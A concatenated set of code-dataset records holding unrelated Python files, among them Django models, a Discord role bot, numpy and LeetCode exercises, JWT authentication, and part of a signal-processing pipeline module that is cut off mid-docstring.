Exception\n\n arr = np.expand_dims(arr, axis=2)\n arr /= np.amax(arr)\n arr = arr * 2 - 1\n \n arr = resize_image(arr, np.min)\n\n return arr\n\ndef load_normals(filename):\n arr = load_image(filename)\n if len(arr.shape) != 3 and arr.shape[2] != 3:\n raise Exception\n\n arr = resize_image(arr, np.mean)\n\n return arr\n\n\n\ndef array_to_img(arr, onechannel=False): \n arr = (arr[0] + 1) / 2\n arr = np.clip(arr, 0, 1) * 255\n\n if onechannel:\n apnd = arr.copy()\n arr = np.append(arr, apnd, axis=2)\n arr = np.append(arr, apnd, axis=2)\n\n img = Image.fromarray(arr.astype(np.uint8))\n img = ImageQt.ImageQt(img.convert(\"RGBA\"))\n\n return img\n\n\n# load_depth('C:\\\\Users\\\\mrshu\\\\deep-render\\\\example\\\\frame.0001.depth_meters.hdf5')","repo_name":"MrShumnov/deep-render","sub_path":"src/gui/data_process.py","file_name":"data_process.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"24934619849","text":"# A stack is a data structure that is modeled on the concept of Last-In-First-Out (LIFO). The last thing put into it is the first thing that comes out of it.\n\nfrom typing import TypeVar, Generic, List\nT = TypeVar('T')\n\n\nclass Stack(Generic[T]):\n def __init__(self) -> None:\n self._container: List[T] = []\n\n def push(self, item: T) -> None:\n self._container.append(item)\n\n def pop(self) -> T:\n return self._container.pop()\n\n def __repr__(self) -> str:\n return repr(self._container)\n\n\nnum_discs: int = 4\ntower_a: Stack[int] = Stack()\ntower_b: Stack[int] = Stack()\ntower_c: Stack[int] = Stack()\ntower_d: Stack[int] = Stack()\n\n\ndef hanoi(begin: Stack[int], end: Stack[int], temp: list, n: int) -> None:\n if n == 1:\n end.push(begin.pop())\n else:\n hanoi(begin, temp, end, n - 1)\n for t in temp:\n hanoi(begin, end, temp[t], 1)\n hanoi(temp, end, begin, n - 1)\n\n\nhanoi(tower_a, tower_d, list(tower_b, tower_c), num_discs)\nprint(tower_a)\nprint(tower_b)\nprint(tower_c)\nprint(tower_d)\n","repo_name":"TamasSmahajcsikszabo/Python-for-Data-Science","sub_path":"computer_science_problems/CS_estimate_pi.py","file_name":"CS_estimate_pi.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26651173476","text":"from django.db import models\nfrom accounts.models import Speciality, Patient, Doctor\nfrom .default_values import QUERY_TYPES, QUERY_STATUS_TYPES\n# Create your models here.\n\n\n\nclass Query(models.Model):\n title = models.CharField('title', max_length=1024)\n present_complaint = models.CharField('present_complaint', max_length=4048)\n speciality = models.ForeignKey(Speciality, on_delete=models.CASCADE)\n past_history = models.CharField('past_history',blank=True, max_length=4048)\n current_medicine = models.CharField('current_medicine',blank=True, max_length=1024)\n past_medical_history = models.CharField('past_medical_history',blank=True, max_length=4048)\n past_surgical_history = models.CharField('past_surgical_history',blank=True, max_length=4048)\n blood_pressure = models.CharField('blood_pressure',blank=True, max_length=256)\n temperature = models.CharField('temperature',blank=True, max_length=256)\n height = models.CharField('height', blank=True,max_length=256)\n weight = models.CharField('weight', blank=True, max_length=256)\n patient = models.ForeignKey(Patient, on_delete=models.CASCADE)\n doctor = models.ForeignKey(Doctor, on_delete=models.CASCADE, blank=True, null=True, default=None)\n status = models.CharField(max_length=128, default='unpaid', choices=QUERY_STATUS_TYPES)\n is_archieved = models.BooleanField(default=False)\n is_rated = models.BooleanField(default=False)\n active = models.BooleanField(default=False)\n created = models.DateTimeField(auto_now_add=True)\n updated = models.DateTimeField(auto_now=True)\n query_type = models.CharField(blank=False, max_length=48, choices=QUERY_TYPES)\n notes_from_doctor = models.TextField(blank=True,default=None,null=True)\n amount = models.FloatField()\n\n\n \n class Meta:\n verbose_name = 'query'\n verbose_name_plural = 'queries'\n\n def __str__(self):\n \"\"\"stirng representation\"\"\"\n return \"{},status: {},patient: {} \".format(self.title,self.status,self.patient)\n\n\nclass Feedback(models.Model):\n query = models.OneToOneField(Query,on_delete=models.CASCADE)\n doc_to_pat_rating = models.IntegerField('Doctor to patient rating',default=0)\n pat_to_doc_rating = models.IntegerField('Patient to doctor rating',default=0)\n doc_to_pat_feedback = models.CharField('Doctor to patient feedback',max_length=4000)\n pat_to_doc_feedback = models.CharField('Patient to doctor feedback',max_length=4000)\n doctor = models.ForeignKey(Doctor,on_delete=models.CASCADE)\n patient = models.ForeignKey(Patient,on_delete=models.CASCADE)\n created = models.DateTimeField(auto_now_add=True)\n updated = models.DateTimeField(auto_now=True)\n\n\nclass QueryDoc(models.Model):\n query = models.ForeignKey(Query, on_delete=models.CASCADE)\n src = models.FileField(upload_to='queries', null=False)\n created = models.DateTimeField(auto_now_add=True)\n \n\n","repo_name":"development0261/demo","sub_path":"api/patient/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72240130706","text":"#Exercise 67\r\n\r\ndef solve(lst):\r\n for one in range(len(lst)):\r\n for two in range(one+1,len(lst)):\r\n for three in range(two+1, len(lst)):\r\n if lst[one]+lst[two]+lst[three] == 0:\r\n return [lst[one],lst[two],lst[three]] \r\n else:\r\n return []\r\n \r\nlst = [5,1,7,8,-1,0] #This could be as input \r\nprint(solve(lst))","repo_name":"baselhusam/The-Practice-of-Computing-Using-Python-Solved","sub_path":"Chapter 7/Problem 67.py","file_name":"Problem 67.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"14641386020","text":"import codecs\nimport logging\nfrom configparser import ConfigParser\n\nfrom discord.ext.commands import Cog, has_guild_permissions, errors\nfrom discord_slash import SlashContext, cog_ext\nfrom discord_slash.utils.manage_commands import create_option\n\nfrom main import UniBot\nfrom util.config import Config\n\nguild_ids = Config.get_guild_ids()\n\n\n# --- Option Types ---\n\nSTRING = 3\nINTEGER = 4\nBOOLEAN = 5\nUSER = 6\nCHANNEL = 7\nROLE = 8\nMENTIONABLE = 9\n\n\nclass Roles(Cog):\n def __init__(self, bot: UniBot):\n self.bot = bot\n self.config = ConfigParser(delimiters=\"=\")\n self.config.read_file(codecs.open(Config.get_file(), \"r\", \"utf8\"))\n\n @has_guild_permissions(manage_roles=True)\n @cog_ext.cog_slash(name=\"add_reaction_role\", guild_ids=guild_ids, description=\"Add emoji to assign roll\",\n options=[\n create_option(\n name=\"message_link\",\n description=\"Message that serves as role message\",\n option_type=STRING,\n required=True\n ),\n create_option(\n name=\"role\",\n description=\"role that should be assigned\",\n option_type=ROLE,\n required=True\n ),\n create_option(\n name=\"emoji\",\n description=\"emoji that is used to assign the role\",\n option_type=STRING,\n required=True\n )\n ])\n async def add_reaction_role(self, ctx: SlashContext, message_link: str, role: str, emoji: str):\n guild_id = str(ctx.guild_id)\n\n if not self.config.has_section(guild_id):\n self.config.add_section(guild_id)\n\n if \"https://discord.com/channels/\" in message_link:\n\n # Get message object from link\n link = message_link.split('/')\n channel_id = int(link[5])\n msg_id = int(link[6])\n channel = self.bot.get_channel(channel_id)\n msg = await channel.fetch_message(msg_id)\n\n self.config.set(guild_id, f\"{msg_id}_{emoji}\", str(role))\n try:\n with open(Config.get_file(), 'w', encoding='utf-8') as f:\n self.config.write(f)\n logging.info(f\"Added reaction role '{role}' to message {msg_id}\")\n\n await msg.add_reaction(emoji)\n await ctx.send(f\"Successfully added role \\'{role}\\'\", hidden=True)\n except errors.HTTPException:\n self.config.remove_option(guild_id, str(emoji))\n with open(Config.get_file(), 'w', encoding='utf-8') as f:\n self.config.write(f)\n await ctx.send(\"Error: Make sure you only use standard emojis or emojis from this server\", hidden=True)\n else:\n await ctx.send(\"Error: Make sure you've got the right link\", hidden=True)\n\n @has_guild_permissions(manage_roles=True)\n @cog_ext.cog_slash(name=\"remove_reaction_role\", guild_ids=guild_ids, description=\"Add emoji to assign roll\",\n options=[\n create_option(\n name=\"message_link\",\n description=\"Message that serves as role message\",\n option_type=STRING,\n required=True\n ),\n create_option(\n name=\"emoji\",\n description=\"emoji that is used to assign the role\",\n option_type=STRING,\n required=True\n )\n ])\n async def remove_reaction_role(self, ctx: SlashContext, message_link: str, emoji: str):\n guild_id = str(ctx.guild_id)\n\n if \"https://discord.com/channels/\" in message_link:\n\n # Get message object from link\n link = message_link.split('/')\n channel_id = int(link[5])\n msg_id = int(link[6])\n channel = self.bot.get_channel(channel_id)\n msg = await channel.fetch_message(msg_id)\n\n if not self.config.has_option(guild_id, f\"{msg_id}_{emoji}\"):\n await ctx.send(f\"Could not find \\'{emoji}\\' role for this message\", hidden=True)\n return\n\n self.config.remove_option(guild_id, f\"{msg_id}_{emoji}\")\n with open(Config.get_file(), 'w', encoding='utf-8') as f:\n self.config.write(f)\n\n await msg.clear_reaction(emoji)\n await ctx.send(f\"Successfully removed \\'{emoji}\\' role\", hidden=True)\n else:\n ctx.send(\"Error: Make sure you've got the right link\", hidden=True)\n","repo_name":"NilsDeckert/UniBot","sub_path":"cogs/admin/roles.py","file_name":"roles.py","file_ext":"py","file_size_in_byte":5042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33153379537","text":"# encoding: utf-8\n\"\"\"\n@author : zhirui zhou\n@contact: evilpsycho42@gmail.com\n@time : 2020/4/27 15:11\n\"\"\"\nimport pytest\nfrom deepseries.analysis import SeriesAnalysisModel\nimport numpy as np\n\n\ndef test_analysis_model():\n x = np.random.rand(4, 500) + 1e-3\n x[0][0] = np.nan\n x[0][1] = 0\n model = SeriesAnalysisModel(x)\n model.plot_valid()\n model.get_trend(365).plot_trend()\n model.plot_trend(0)\n\n model.get_autocorr(np.arange(1, 300)).plot_autocorr()\n\n assert model.mask.sum() == 2\n assert model.valid_lens[0] == 498\n\n\nif __name__ == \"__main__\":\n test_analysis_model()\n","repo_name":"EvilPsyCHo/Deep-Time-Series-Prediction","sub_path":"test/test_analysis.py","file_name":"test_analysis.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":492,"dataset":"github-code","pt":"48"} +{"seq_id":"38122907060","text":"def maxMatrixSum(matrix) -> int:\n arr = [num for row in matrix for num in row]\n abs_total = sum(map(abs, arr))\n neg = sum([num < 0 for num in arr])\n mi = min(map(abs, arr))\n return abs_total if neg % 2 == 0 else abs_total - 2 * mi\n\ndef test():\n test_cases = [\n {\n \"name\": \"simple case 1\",\n \"input\": [[1,-1],[-1,1]],\n \"expected\": 4\n },\n {\n \"name\": \"simple case 2\",\n \"input\": [[1,2,3],[-1,-2,-3],[1,2,3]],\n \"expected\": 16\n }\n ]\n\n for test_case in test_cases:\n assert test_case[\"expected\"] == maxMatrixSum(test_case[\"input\"]), test_case[\"name\"]\n\nif __name__ == \"__main__\":\n from datetime import datetime\n start_time = datetime.now()\n test()\n print(\"Everything passed\")\n end_time = datetime.now()\n print('Duration: {}'.format(end_time - start_time))","repo_name":"0xspringtime/leetcode","sub_path":"1975.py","file_name":"1975.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"6650041621","text":"\n\nMODE = 1 # 1: CNN 2: VAE\nTRAIN = False # True:Train False:Test\n\n'''\nSetting variables\n'''\n\nHOST = \"localhost\"\nPORT = 2000\nTIMEOUT = 30.0\n\nCAR_NAME = 't2'\nVISUAL_DISPLAY = True\n\n\nRGB_CAMERA = 'sensor.camera.rgb'\nSSC_CAMERA = 'sensor.camera.semantic_segmentation'\n\n'''\nTraining hyperparametres and variables\n'''\n\nSEED = 0\nBATCH_SIZE = 64\nIM_WIDTH = 160\nIM_HEIGHT = 80\nGAMMA = 0.99\nMEMORY_SIZE = 150000\nEPISODES = 3500\nBURN_IN = 1000\n\n\n#VAE Bottleneck\nLATENT_DIM = 95\n\nDQN_LEARNING_RATE = 0.00005\nEPSILON = 1.00\nEPSILON_END = 0.01\nEPSILON_DECAY = 0.995\n\nREPLACE_NETWORK = 500\nUPDATE_FREQ = 5\nDQN_CHECKPOINT_DIR_VAE = 'preTrained_models/VAE'\nDQN_CHECKPOINT_DIR_CNN = 'preTrained_models/CNN'\nMODEL = 'carla_dueling_dqn.pth'\n\n\n\n","repo_name":"Pituel/CARLA_RL_TFM_UOC","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43498995796","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Mar 7 05:20:56 2021\n\n@author: pascalwallisch\n\"\"\"\n\n# Calculating correlation\nimport numpy as np # load numpy\nhowMany = 7 #How long will the random array be?\nA = np.random.rand(howMany,2) #Draw the random numbers from a uniform distribution\n\nr = np.corrcoef(A[:,0],A[:,1]) #Calculate Pearson correlation between column 1 and column 2\nprint('r =',r) #The correlation matrix. So far, so good\n\n#%% Introducing nans into the array by replacing some values with nans\nA[2,0] = np.nan \nA[2,1] = np.nan\nA[4,0] = np.nan\nA[5,1] = np.nan\n\nr = np.corrcoef(A[:,0],A[:,1]) #Calculate Pearson correlation between column 1 and column 2\nprint('r =',r) #Now there are nans. \n#As soon as there is even one in a calculation like that, the results are also nan\n#So we have to handle that. Handling missing data in the form of nans is a major part of the job of data scientists\n#How they are handled is critical and there are a lot of intricacies. \n#We'll deal with that later in detail. For now, let's just introduce a simple way to handle nans in numpy\n#So you can do the assignment.\n\n#%%\n#There are many ways to handle this - for instance, pandas dataframes more readily ignore nans by default (but some of these defaults are not what you want or need)\n#Pandas hides a lot of this plumbing from the user, so it is useful to first understand what is going on under the hood, e.g. with numpy. That's what we're doing here.\n#You could also use masked arrays in numpy. For now, let's use logic.\ntemp = np.copy(A) #Make a copy of A\nwhereAreTheNansAt = np.isnan(temp) #Determine the nan status of entries in temp\nprint(whereAreTheNansAt)\nnanCoordinates = np.where(whereAreTheNansAt==True) #Coordinates in rows and columns\n#Here, we will eliminate the entire row of the temporary array if the value in either (or both) column(s) is missing\ntemp = np.delete(temp,nanCoordinates[0],0) #Delete all rows (axis 0, the 3rd argument) of the input array temp, where there is a nan in a row (from nanCoordinates)\nr = np.corrcoef(temp[:,0],temp[:,1]) #Calculate the Pearson correlation between the surviving 4 rows of column 1 and column 2\nprint('r =',r) #No more nans. Note the value is different than in line 14, as we deleted some rows\n\n#So for now, the advice is to c\n#1) reate a temporary array with the values of the two vectors you are correlating at a given time\n#2) Then eliminate the nans. \n#3) Then take the correlation of the remaining array (e.g. containing the movies that have a rating from both users in question)\n#Then go back to 1), for new data (e.g. a new pair of users or movies to correlate)\n\n#%% We could have also done it directly with logic:\ntemp = np.copy(A) #Make a copy of A\ntemp = temp[~np.isnan(temp).any(axis=1)] #Remove all rows where there are missing values\n#Then do the same as in lines 41-42:\nr = np.corrcoef(temp[:,0],temp[:,1]) #Calculate the Pearson correlation between the surviving 4 rows of column 1 and column 2\nprint('r =',r) #No more nans. Note the value is different than in line 14, as we deleted some rows\n#Same outcome as in 42.\n \n","repo_name":"kierengill/DS101-Intro-To-DS","sub_path":"Lab Code/howToHandleNans.py","file_name":"howToHandleNans.py","file_ext":"py","file_size_in_byte":3109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9105019011","text":"# Solution 1: Just follow the logic they give you\n# Runtime: O(V*len(heights))\n\nimport math\nclass Solution:\n def pourWater(self, heights, V, K):\n \"\"\"\n :type heights: List[int]\n :type V: int\n :type K: int\n :rtype: List[int]\n \"\"\"\n for raining in range(V):\n low = heights[K]\n low_index = -1\n # Try going left\n for i in range(K-1,-1,-1):\n if heights[i] > low:\n break\n if heights[i] < low:\n low = heights[i]\n low_index = i\n if low_index > -1:\n heights[low_index] += 1\n continue\n # Try going right\n for i in range(K+1,len(heights)):\n if heights[i] > low:\n break\n if heights[i] < low:\n low = heights[i]\n low_index = i\n if low_index > -1:\n heights[low_index] += 1\n continue\n # Raise current\n heights[K] += 1\n return heights","repo_name":"BlakeBrown/LeetCode-Solutions","sub_path":"755 - Pour Water.py","file_name":"755 - Pour Water.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"48"} +{"seq_id":"40732505650","text":"word = input('A word: ')\nn = int(input('A number: '))\n\ncounter = 0\nbroq4 = 0\n\nwhile counter < n:\n\tduma = input('Chete po 1 duma na red: ')\n\tcounter += 1\n\n\tif duma == word:\n\t\tbroq4 += 1\n\nprint(broq4)\n","repo_name":"AnetaStoycheva/Programming0_HackBulgaria","sub_path":"Week 2/words_count.py","file_name":"words_count.py","file_ext":"py","file_size_in_byte":199,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"11982955865","text":"from rest_framework_simplejwt.authentication import JWTAuthentication\nfrom rest_framework_simplejwt.exceptions import AuthenticationFailed\nfrom api.models.administrator import Administrator\nfrom api.models.member import Member\n\n\nclass UserJWTAuthentication(JWTAuthentication):\n def get_user(self, validated_token):\n try:\n user_type = validated_token.get(\"user_type\")\n if user_type == \"admin\":\n return Administrator.objects.get(id=validated_token[\"user_id\"])\n elif user_type == \"member\":\n return Member.objects.get(id=validated_token[\"user_id\"])\n else:\n raise AuthenticationFailed(\"Invalid user type in token.\")\n except Administrator.DoesNotExist:\n raise AuthenticationFailed(\"No user found with this token.\")\n except Member.DoesNotExist:\n raise AuthenticationFailed(\"No user found with this token.\")\n except KeyError:\n raise AuthenticationFailed(\n 'Invalid token. No \"user_id\" found in the token.'\n )\n except TypeError:\n raise AuthenticationFailed(\"Empty token. Please provide a valid JWT token.\")\n","repo_name":"evanswanjau/ccak-api","sub_path":"api/utils/authentication.py","file_name":"authentication.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14032827258","text":"import sys\nfrom collections import deque\n\n\ndef bfs(node, end, field):\n visited = [0 for _ in range(n+1)]\n\n queue = deque()\n queue.append(node)\n count = 0\n while queue:\n node = queue.popleft()\n for n in field[node]:\n if not visited[n]:\n visited[n] = field[node] + 1\n queue.append(n)\n if node == end:\n break\n for i in range(n):\n if field[node][i] == 1:\n if not visited[node][i]:\n visited[node][i] = 1\n queue.append((node, i))\n count += 1\n\n return count\n\n\nn = int(sys.stdin.readline())\nstart, end = map(int, sys.stdin.readline().split())\n\nfield = [[0] * n for _ in range(n)]\nfor _ in range(int(sys.stdin.readline())):\n parent, child = map(int, sys.stdin.readline().split())\n field[parent-1][child-1] = field[child-1][parent-1] = 1\nprint(field)\nprint(bfs(start - 1, end - 1, field))","repo_name":"chaewss/Algorithm-Study","sub_path":"BOJ/dfs, bfs/2644.py","file_name":"2644.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3170854802","text":"\"\"\"create ticket number\n\nRevision ID: cce0c325d57d\nRevises: aa56aee5acf8\nCreate Date: 2019-07-19 00:59:00.231734\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'cce0c325d57d'\ndown_revision = 'aa56aee5acf8'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('ticket_number_model',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('contestant_id', sa.Integer(), nullable=False),\n sa.Column('ticket_number', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['contestant_id'], ['contestant_model.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('ticket_number_model')\n # ### end Alembic commands ###\n","repo_name":"kdmhs-it-olympiad/io-server","sub_path":"migration/versions/cce0c325d57d_create_ticket_number.py","file_name":"cce0c325d57d_create_ticket_number.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"39704909511","text":"\"\"\"Common processing tasks implemented as Blocks.\"\"\"\n\nimport warnings\nimport numpy as np\nfrom scipy import signal\n\nfrom axopy.pipeline import Pipeline, Block\n\n\nclass Passthrough(Pipeline):\n \"\"\"Convenience block for passing input along to output.\n\n A passthrough pipeline block is useful when you want to process some data\n then provide both the processed output as well as the original input to\n another block downstream::\n\n -----------------------> x\n |\n x ---> [ subpipeline ] ----> y\n \"\"\"\n\n def __init__(self, blocks, expand_output=True, name=None):\n super(Passthrough, self).__init__(blocks, name=name)\n self.expand_output = expand_output\n\n def process(self, data):\n out = super(Passthrough, self).process(data)\n if self.expand_output:\n ldata = [data]\n ldata.extend(out)\n return ldata\n else:\n return data, out\n\n\nclass Callable(Block):\n \"\"\"A `Block` that does not require persistent attributes.\n\n Some `Block` implementations don't require attributes to update on\n successive calls to the `process` method, but instead are essentially a\n function that can be called repeatedly. This class is for conveniently\n creating such a block.\n\n If the function you want to use takes additional arguments, such as a\n keyword argument that\n\n Note: if you use an anonymous function as the `func` argument, (e.g.\n ``lambda x: 2*x``), it is recommended to explicitly give the block a\n meaningful name.\n\n Parameters\n ----------\n func : callable(x)\n Function that gets called when the block's `process` method is called.\n Should take a single input and return output which is compatible with\n whatever is connected to the block.\n func_args : list, optional\n List (or tuple) of additional arguments to pass to `func` when calling\n it for processing. If None (default), no arguments are used.\n func_kwargs : dict\n Keyword argument name/value pairs to pass to `func` when calling it for\n processing. If None (default), no keyword arguments are used.\n name : str, optional, default=None\n Name of the block. By default, the name of the `processor` function is\n used.\n hooks : list, optional, default=None\n List of callables (callbacks) to run when after the block's `process`\n method is called.\n \"\"\"\n\n def __init__(self, func, func_args=None, func_kwargs=None, name=None,\n hooks=None):\n if name is None:\n name = func.__name__\n super(Callable, self).__init__(name=name, hooks=hooks)\n self.func = func\n self.func_args = func_args if func_args is not None else []\n self.func_kwargs = func_kwargs if func_kwargs is not None else {}\n\n def process(self, data):\n return self.func(data, *self.func_args, **self.func_kwargs)\n\n\nclass Windower(Block):\n \"\"\"Windows incoming data to a specific length.\n\n Takes new input data and combines with past data to maintain a sliding\n window with optional overlap. The window length is specified directly, so\n the overlap depends on the length of the input.\n\n The input length may change on each iteration, but the ``Windower`` must be\n cleared before the number of channels can change.\n\n Parameters\n ----------\n length : int\n Total number of samples to output on each iteration. This must be at\n least as large as the number of samples input to the windower on each\n iteration.\n\n See Also\n --------\n axopy.pipeline.common.Ensure2D: Ensure input to the windower is 2D.\n\n Examples\n --------\n Basic use of a windower:\n\n >>> import axopy.pipeline as pipeline\n >>> import numpy as np\n >>> win = pipeline.Windower(4)\n >>> win.process(np.array([[1, 2], [3, 4]]))\n array([[ 0., 0., 1., 2.],\n [ 0., 0., 3., 4.]])\n >>> win.process(np.array([[7, 8], [5, 6]]))\n array([[ 1., 2., 7., 8.],\n [ 3., 4., 5., 6.]])\n >>> win.clear()\n >>> win.process(np.array([[1, 2], [3, 4]]))\n array([[ 0., 0., 1., 2.],\n [ 0., 0., 3., 4.]])\n\n If your data is 1-dimensional (shape ``(n_samples,)``), use an\n :class:`Ensure2D` block in front of the :class:`Windower`:\n\n >>> win = pipeline.Windower(4)\n >>> p = pipeline.Pipeline([pipeline.Ensure2D(), win])\n >>> p.process(np.array([1, 2]))\n array([[ 0., 0., 1., 2.]])\n \"\"\"\n\n def __init__(self, length):\n super(Windower, self).__init__()\n self.length = length\n\n self.clear()\n\n def clear(self):\n \"\"\"Clear the buffer containing previous input data.\n \"\"\"\n self._out = None\n\n def process(self, data):\n \"\"\"Add new data to the end of the window.\n\n Parameters\n ----------\n data : array, shape (n_channels, n_samples)\n Input data. ``n_samples`` must be less than or equal to the\n windower ``length``.\n\n Returns\n -------\n out : array, shape (n_channels, length)\n Output window with the input data at the end.\n \"\"\"\n if data.ndim != 2:\n raise ValueError(\"data must be 2-dimensional.\")\n\n n = data.shape[1]\n\n if n > self.length:\n raise ValueError(\"data must be shorter than window length.\")\n\n if self._out is None:\n self._preallocate(data.shape[0])\n\n if data.shape[0] != self._out.shape[0]:\n raise ValueError(\"Number of channels cannot change without \"\n \"calling clear first.\")\n\n if n == self.length:\n self._out = data\n else:\n self._out[:, :self.length-n] = self._out[:, -(self.length-n):]\n self._out[:, -n:] = data\n\n return self._out.copy()\n\n def _preallocate(self, n_channels):\n self._out = np.zeros((n_channels, self.length))\n\n\nclass Centerer(Block):\n \"\"\"Centers data by subtracting out its mean.\n\n .. math:: \\\\tilde{x} = x - \\\\sum_{i=0}^{N-1} x[i]\n \"\"\"\n\n def process(self, data):\n \"\"\"Center each row of the input.\n\n Parameters\n ----------\n data : array, shape (n_channels, n_samples)\n Input data.\n\n Returns\n -------\n out : array, shape (n_channels, n_samples)\n Input data that's been centered.\n \"\"\"\n return data - np.mean(data)\n\n\nclass Filter(Block):\n \"\"\"Filters incoming data with a time domain filter.\n\n This filter implementation takes filter coefficients that are designed\n by the user -- it merely applies the filter to the input, remembering the\n final inputs/outputs from the previous update and using them as initial\n conditions for the current update.\n\n Parameters\n ----------\n b : ndarray\n Numerator polynomial coefficients of the filter.\n a : ndarray, optional\n Denominator polynomial coefficients of the filter. Default is 1,\n meaning the filter is FIR.\n overlap : int, optional\n Number of samples overlapping in consecutive inputs. Needed for\n correct filter initial conditions in each filtering operation.\n Default is 0, meaning the final inputs/outputs of the previous update\n are used.\n\n See Also\n --------\n axopy.pipeline.common.Ensure2D: Ensure input to the filter is 2D.\n\n Examples\n --------\n Design a filter using scipy and use the coefficients:\n\n >>> import axopy.pipeline as pipeline\n >>> import numpy as np\n >>> from scipy.signal import butter\n >>> b, a = butter(4, 100/1000/2)\n >>> f = pipeline.Filter(b, a)\n >>> f.process(np.random.randn(1, 5)) # doctest: +ELLIPSIS\n array([...\n\n Use a filter in combination with a :class:`Windower`, making sure to\n account for overlapping data in consecutive filtering operations. Here,\n we'll use a window of length 5 and pass in 3 samples at a time, so there\n will be an overlap of 2 samples. The overlapping samples in each output\n will agree:\n\n >>> w = pipeline.Windower(5)\n >>> f = pipeline.Filter(b, a, overlap=2)\n >>> p = pipeline.Pipeline([w, f])\n >>> out1 = p.process(np.random.randn(1, 3))\n >>> out2 = p.process(np.random.randn(1, 3))\n >>> out1[:, -2:] == out2[:, :2]\n array([[ True, True]], dtype=bool)\n\n \"\"\"\n\n def __init__(self, b, a=1, overlap=0):\n super(Filter, self).__init__()\n self.b = b\n self.a = np.atleast_1d(a)\n self.overlap = overlap\n\n self.clear()\n\n def clear(self):\n \"\"\"Clears the filter initial conditions.\n\n Clearing the initial conditions is important when starting a new\n recording if ``overlap`` is nonzero.\n \"\"\"\n self._x_prev = None\n self._y_prev = None\n\n def process(self, data):\n \"\"\"Applies the filter to the input.\n\n Parameters\n ----------\n data : ndarray, shape (n_channels, n_samples)\n Input signals.\n \"\"\"\n if data.ndim != 2:\n raise ValueError(\"data must be 2-dimensional.\")\n\n if self._x_prev is None:\n # first pass has no initial conditions\n out = signal.lfilter(self.b, self.a, data, axis=-1)\n else:\n # subsequent passes get ICs from previous input/output\n num_ch = data.shape[0]\n K = max(len(self.a)-1, len(self.b)-1)\n self._zi = np.zeros((num_ch, K))\n\n # unfortunately we have to get zi channel by channel\n for c in range(data.shape[0]):\n self._zi[c, :] = signal.lfiltic(\n self.b,\n self.a,\n self._y_prev[c, -(self.overlap+1)::-1],\n self._x_prev[c, -(self.overlap+1)::-1])\n\n out, zf = signal.lfilter(self.b, self.a, data, axis=-1,\n zi=self._zi)\n\n self._x_prev = data\n self._y_prev = out\n\n return out\n\n\nclass FeatureExtractor(Block):\n \"\"\"Computes multiple features from the input, concatenating the results.\n\n Each feature should be able to take in the same data and output a 1D array,\n so overall output of the FeatureExtractor can be a single 1D array.\n\n This block isn't strictly necessary, since you could just apply multiple\n feature blocks in parallel and the result of each will be passed to the\n next block. However, the block following feature computation typically\n expects the input to be a single array (or row) per data sample.\n\n Parameters\n ----------\n features : list\n List of (name, feature) tuples (i.e. implementing a ``compute``\n method).\n\n Attributes\n ----------\n named_features : dict\n Dictionary of features accessed by name.\n feature_indices : dict\n Dictionary of (start, stop) tuples indicating the bounds of each\n feature, accessed by name. Will be empty until after data is first\n passed through.\n \"\"\"\n\n def __init__(self, features, hooks=None):\n super(FeatureExtractor, self).__init__(hooks=hooks)\n self.features = features\n\n self.feature_indices = {}\n self._output = None\n\n @property\n def named_features(self):\n return dict(self.features)\n\n def clear(self):\n \"\"\"Clears the output array.\n\n This should be called if the input is going to change form in some\n way (i.e. the shape of the input array changes).\n \"\"\"\n self.feature_indices = {}\n self._output = None\n\n def process(self, data):\n \"\"\"Run data through the list of features and concatenates the results.\n\n The first pass (after a ``clear`` call) will be a little slow since the\n extractor needs to allocate the output array.\n\n Parameters\n ----------\n data : array, shape (n_channels, n_samples)\n Input data. Must be appropriate for all features.\n\n Returns\n -------\n out : array, shape (n_features,)\n \"\"\"\n allocating = (self._output is None)\n ind = 0\n for i, (name, feature) in enumerate(self.features):\n if allocating:\n x = feature.compute(data)\n self.feature_indices[name] = (ind, ind+x.size)\n ind += x.size\n\n if self._output is None:\n self._output = x\n else:\n self._output = np.hstack([self._output, x])\n else:\n self._output[self.feature_indices[name][0]:\n self.feature_indices[name][1]] = \\\n feature.compute(data)\n\n return self._output\n\n\nclass Estimator(Block):\n \"\"\"A pipeline block wrapper around 